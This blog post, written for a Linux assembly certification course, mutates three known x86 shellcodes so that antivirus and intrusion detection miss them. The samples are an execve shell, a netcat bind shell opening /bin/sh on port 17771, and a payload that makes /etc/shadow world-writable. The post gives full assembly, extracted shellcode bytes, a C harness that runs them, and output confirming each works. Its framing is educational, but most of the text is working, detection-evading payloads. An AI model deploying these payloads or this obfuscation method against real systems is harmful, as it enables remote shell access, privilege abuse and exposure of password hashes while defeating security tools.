This post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
###
If the security software like AV and IDS finds patterns that correspond to known shellcodes, it takes appropriate steps to neutralize it. Code mutation makes it difficult for such software to recognize shellcode.
We will take 3 samples of code from shell-storm.org and try to make it less recognizable
In this task I have tried to obfuscate JMP-CALL-POP execve shell.
Original code is http://shell-storm.org/shellcode/files/shellcode-863.php
\xeb\x25\x5e\x89\xf7\x31\xc0\x50\x89\xe2\x50\x83\xc4\x03\x8d\x76\x04\x33\x06\x50\x31\xc0\x33\x07\x50\x89\xe3\x31\xc0\x50\x8d\x3b\x57\x89\xe1\xb0\x0b\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x2f\x62\x69\x6e\x2f\x73\x68
First of all I have tried to make the code smaller and here is what turned out:
then skeleton was compiled:
gcc jmp_call_pop_execve_checker.c -o jmp_call_pop_execve_checker -fno-stack-protector -z execstack
and run:
./jmp_call_pop_execve_checker
Shellcode Length: 33
#
Works fine!
Moreover, the size is less than origin)
Here is what I have done with that code (round 1 - make the code smaller):
Final mutated (round 2 - obfuscation) (81 bytes):
Original is http://shell-storm.org/shellcode/files/shellcode-566.php (27 bytes):
\xb0\x0f\x99\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01\xcd\x80 (It crashes with Segmentation fault).
My is (40) bytes:
4) NULL terminator was changed from push edx to push eax
5) exit() function was added
then skeleton was compiled: root@debian:/usr/local/src/SLAE/6_assigment# gcc -fno-stack-protector -z execstack chmod_command_checker.c -o chmod_command_checker and run: root@debian:/usr/local/src/SLAE/6_assigment# ./chmod_command_checker Shellcode Length: 40 Does it really work? yes)! Before running shellcode: -rwxr-x--- 1 root shadow 937 May 10 07:13 /etc/shadow And after running: -rwxrwxrw- 1 root shadow 937 May 10 07:13 /etc/shadow
Student ID: SLAE-581
If the security software like AV and IDS finds patterns that correspond to known shellcodes, it takes appropriate steps to neutralize it. Code mutation makes it difficult for such software to recognize shellcode.
We will take 3 samples of code from shell-storm.org and try to make it less recognizable
Task 1
In this task I have tried to obfuscate JMP-CALL-POP execve shell.
Original code is http://shell-storm.org/shellcode/files/shellcode-863.php
Original (52 bytes):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | global _start section .text _start: jmp short here me: pop esi mov edi,esi xor eax,eax push eax mov edx,esp push eax add esp,3 lea esi,[esi +4] xor eax,[esi] push eax xor eax,eax xor eax,[edi] push eax mov ebx,esp xor eax,eax push eax lea edi,[ebx] push edi mov ecx,esp mov al,0xb int 0x80 here: call me path db "//bin/sh" |
First of all I have tried to make the code smaller and here is what turned out:
Mutated (33 bytes):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | global _start section .text _start: jmp short north ;jump to north south: xor eax, eax ;We zeroed eax as we need NULL for terminated argv[] later pop esi ;esi now contains an address of /bin/ksh string mov dword [esi + 8], eax ;add NULL at the end of /bin/ksh mov ebx,esi ;mov address of /bin/ksh into ebx push eax ;NULL mov edx, esp ;EDX points to NULL (envp[]) push ebx ;make pointer to /bin/ksh and push it into stack mov ecx, esp ;copy pointer to argv[] from stack into ecx mov al,0xb ;execve() code (11) int 0x80 ;run syscall north: call south ;Call initiates storing the next command address into stack, so that we store address of /bin/ksh string string db "/bin/ksh" |
I use /bin/ksh instead of /bin/sh (/bin/sh is more common while ksh is less).
After a compilation and linking (I have used the following bash script to automate the process:
1 2 3 4 5 6 7 8 9 | #!/bin/bash echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -z execstack -o $1 $1.o echo '[+] Done!' |
shellcode was extracted from elf:
objdump -d ./jmp_call_pop_execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
\xeb\x12\x31\xc0\x5e\x89\x46\x08\x89\xf3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68
and placed in C skeleton:
1 2 3 4 5 6 7 8 9 10 11 | #include<stdio.h> #include<string.h> unsigned char shellcode[] = "\xeb\x12\x31\xc0\x5e\x89\x46\x08\x89\xf3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } |
gcc jmp_call_pop_execve_checker.c -o jmp_call_pop_execve_checker -fno-stack-protector -z execstack
and run:
./jmp_call_pop_execve_checker
Shellcode Length: 33
#
Works fine!
Moreover, the size is less than origin)
Task 2
In this task I have tried to obfuscate linux x86 nc -lvve/bin/sh -p13377 shellcode.
Original code is http://shell-storm.org/shellcode/files/shellcode-804.php (64 bytes):
Original code is http://shell-storm.org/shellcode/files/shellcode-804.php (64 bytes):
Original (64 bytes):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | section .text global _start _start: xor eax,eax xor edx,edx push 0x37373333 push 0x3170762d mov edx, esp push eax push 0x68732f6e push 0x69622f65 push 0x76766c2d mov ecx,esp push eax push 0x636e2f2f push 0x2f2f2f2f push 0x6e69622f mov ebx, esp push eax push edx push ecx push ebx xor edx,edx mov ecx,esp mov al,11 int 0x80 |
Here is what I have done with that code (round 1 - make the code smaller):
1 2 3 4
5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | section .text global _start _start: ;COMMENTS ;CODE xor eax,eax ;zeroed eax xor eax, eax xor edx,edx ;zeroed edx xor edx, edx push 0x37373333 ;this is nothing but -vp13377 ;we change it to -vp17771: push 0x31373737 push 0x3170762d push 0x3170762d mov edx, esp ;mov pointer to -vp13377 to edx ;we change it to: mov esi, esp push eax ;push 0 into stack push eax push 0x68732f6e ;this is nothing but -lvve/bin/sh ;we change it to -le//bin//sh: push 0x68732f2f push 0x69622f65 push 0x6e69622f push 0x76766c2d push 0x2f656c2d mov ecx,esp ;mov pointer to -lvve/bin/sh into ecx ;we change it to mov edi, esp push eax ;push 0 into stack push eax push 0x636e2f2f ;this is nothing but /bin//////nc ;we change it to /bin//nc, so our shell will become smaller) push 0x2f2f2f2f push 0x636e2f2f push 0x6e69622f push 0x6e69622f mov ebx, esp ;mov pointer to /bin//////nc into ebx mov ebx, esp push eax ;mov 0 into stack ;we change it to: push edx push edx ;mov pointer to -vp13377 into stack ;we change it to push esi push ecx ;mov pointer to -lvve/bin/sh into stack ;we change it to push edi push ebx ;mov pointer to /bin//////nc into stack ; push ebx xor edx,edx ;zeroed edx ;we exclude this line, as edx was zeroed at start, so our shellcode will become smaller) mov ecx,esp ;mov pointer to /bin//////nc -lvve/bin/sh -vp13377
;to ecx mov ecx, esp mov al,11 ;run execve() mov al,11 int 0x80 ;run syscall int 0x80 |
Final mutated (round 2 - obfuscation) (81 bytes):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | global _start section .text _start: xor eax, eax xor edx, edx push eax push 0x31373737 ;-vp17771 push 0x3170762d mov esi, esp push eax mov edi, 0x57621e1e ;//sh abfuscation add edi, 0x11111111 mov dword [esp-4], edi mov edi, 0x5d58511e ;/bin obfuscation; add edi, 0x11111111 mov dword [esp-8], edi sub esp, 8 push 0x2f656c2d ;-le/ mov edi, esp push eax push 0x636e2f2f ;/bin//nc push 0x6e69622f mov ebx, esp push edx push esi push edi push ebx mov ecx, esp mov al,11 int 0x80 |
After a compilation and linking shellcode was extracted from elf:
objdump -d ./netcat_bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\xbf\x1e\x1e\x62\x57\x81\xc7\x11\x11\x11\x11\x89\x7c\x24\xfc\xbf\x1e\x51\x58\x5d\x81\xc7\x11\x11\x11\x11\x89\x7c\x24\xf8\x83\xec\x08\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80
then skeleton was compiled:
gcc netcat_bind_checker.c -o netcat_bind_checker -fno-stack-protector -z execstack
and run:
./netcat_bind_checker
Shellcode Length: 81
listening on [any] 17771 ...
Here is what happened after test connection takes place:
192.168.91.130: inverse host lookup failed: Unknown host
connect to [192.168.91.130] from (UNKNOWN) [192.168.91.130] 60071
pwd
/usr/local/src/SLAE/6_assigment/test
Works pretty good)
objdump -d ./netcat_bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\xbf\x1e\x1e\x62\x57\x81\xc7\x11\x11\x11\x11\x89\x7c\x24\xfc\xbf\x1e\x51\x58\x5d\x81\xc7\x11\x11\x11\x11\x89\x7c\x24\xf8\x83\xec\x08\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80
then skeleton was compiled:
gcc netcat_bind_checker.c -o netcat_bind_checker -fno-stack-protector -z execstack
and run:
./netcat_bind_checker
Shellcode Length: 81
listening on [any] 17771 ...
Here is what happened after test connection takes place:
192.168.91.130: inverse host lookup failed: Unknown host
connect to [192.168.91.130] from (UNKNOWN) [192.168.91.130] 60071
pwd
/usr/local/src/SLAE/6_assigment/test
Works pretty good)
Task3
In this task I have tried to obfuscate linux/x86 chmod 666 /etc/shadow shellcode.Original is http://shell-storm.org/shellcode/files/shellcode-566.php (27 bytes):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | ; linux/x86 chmod 666 /etc/shadow 27 bytes ; root@thegibson ; 2010-01-15 section .text global _start _start: ; chmod("//etc/shadow", 0666); mov al, 15 cdq push edx push dword 0x776f6461 push dword 0x68732f63 push dword 0x74652f2f mov ebx, esp mov cx, 0666o int 0x80 |
\xb0\x0f\x99\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01\xcd\x80 (It crashes with Segmentation fault).
My is (40) bytes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | global _start section .text _start: xor eax, eax push eax ;NULL push 0x776f6461 ;adow push word 0x6873 ;let's split c/sh push word 0x2f63 push word 0x7465 ;let's split //et push word 0x2f2f mov ebx, esp ;mov pointer to //etc/shadow string into ebx mov cx, 0x1fe ;0776 mode mov al, 15 ;execve() code int 0x80 ;run syscall ;we have added exit() code to exit normally without Seg. Fault. xor eax, eax mov al, 1 int 0x80 |
What was done?
1) //etc/shadow was splitted
2) Mode was changed from 666 to 776
3) cdq was removed 4) NULL terminator was changed from push edx to push eax
5) exit() function was added
After a compilation and linking shellcode was extracted from elf:
objdump -d ./chmod_command|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x61\x64\x6f\x77\x66\x68\x73\x68\x66\x68\x63\x2f\x66\x68\x65\x74\x66\x68\x2f\x2f\x89\xe3\x66\xb9\xfe\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
then skeleton was compiled: root@debian:/usr/local/src/SLAE/6_assigment# gcc -fno-stack-protector -z execstack chmod_command_checker.c -o chmod_command_checker and run: root@debian:/usr/local/src/SLAE/6_assigment# ./chmod_command_checker Shellcode Length: 40 Does it really work? yes)! Before running shellcode: -rwxr-x--- 1 root shadow 937 May 10 07:13 /etc/shadow And after running: -rwxrwxrw- 1 root shadow 937 May 10 07:13 /etc/shadow
No comments:
Post a Comment